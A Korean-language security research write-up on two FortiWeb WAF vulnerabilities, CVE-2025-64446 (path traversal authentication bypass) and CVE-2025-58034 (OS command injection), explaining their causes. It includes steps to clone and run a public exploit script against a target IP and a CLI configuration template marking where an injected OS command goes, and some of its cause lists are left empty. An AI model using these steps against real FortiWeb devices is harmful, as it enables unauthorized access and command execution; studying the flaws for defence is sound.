
Fortinet FortiWeb 취약점에 대한 보안 연구 (CVE-2025-64446, CVE-2025-58034)
Fortinet FortiWeb은 기업 시스템에서 널리 배포되어 웹 애플리케이션을 일반적인 위협으로부터 보호하는 WAF(Web Application Firewall) 장비입니다.
FortiWeb은 일반적으로 중앙 보호 계층에 위치하므로, 인증 또는 OS 명령 실행과 관련된 취약점은 백엔드 인프라 전체에 심각한 영향을 미칠 수 있습니다. 2025년에 FortiWeb에서 두 가지 심각한 취약점이 공개되었습니다:
CVE-2025-64446 – 상대 경로 탐색을 통한 인증 우회
CVE-2025-58034 – 인증된 컨텍스트에서의 OS 명령 삽입
CVE-2025-64446은 FortiWeb이 인증 메커니즘을 적용하기 전에 액세스 경로를 처리하고 검사하는 방식이 엄격하지 않기 때문에 발생합니다.
구체적으로:
이러한 오류로 인해 일부 관리 엔드포인트가 유효한 인증 없이 액세스될 수 있습니다.
CVE-2025-58034는 FortiWeb이 OS 명령을 호출하는 과정에서 사용자 입력 데이터를 안전하지 않게 처리하기 때문에 발생합니다.
주요 원인은 다음과 같습니다:
이 취약점은 인증된 컨텍스트를 필요로 하지만, 명령 실행과 관련되어 있어 여전히 높은 위험 수준을 가지고 있습니다.
git clone https://github.com/lincemorado97/CVE-2025-64446_CVE-2025-58034 cd CVE-2025-64446_CVE-2025-58034
Python 가상 환경(venv)은 각 프로젝트에 대해 독립적인 작업 환경을 생성하여 주요 Python 시스템에서 종속 라이브러리를 분리하는 데 사용됩니다. 이는 라이브러리 버전 충돌을 방지하고, 작업 환경의 안정성을 보장하며, 시스템에 미치는 영향을 최소화하는 데 도움이 됩니다.
python3 -m venv venv source venv/bin/activate
pip install -r requirements.txt
python exploit.py <target_ip>

config user saml-user
edit "<YOUR COMMAND>"
set entityID http://foo
set service-path /foo
set enforce-signing disable
set slo-bind post
set slo-path /foo
set sso-bind post
set sso-path /foo
end
CVE-2025-58034 취약점은 FortiWeb이 일부 구성 필드, 특히 다음 명령을 통해 전달된 값을 엄격하게 제어하지 않기 때문에 발생합니다: edit "" 문제: 이 값이 구성 문자열로 처리됨 이후 내부 OS 명령에 포함됨 특수 문자가 충분히 필터링 또는 이스케이프되지 않음 이로 인해 구성 데이터가 실행되는 OS 명령에 직접 영향을 미칠 수 있어 OS 명령 삽입 취약점이 발생합니다.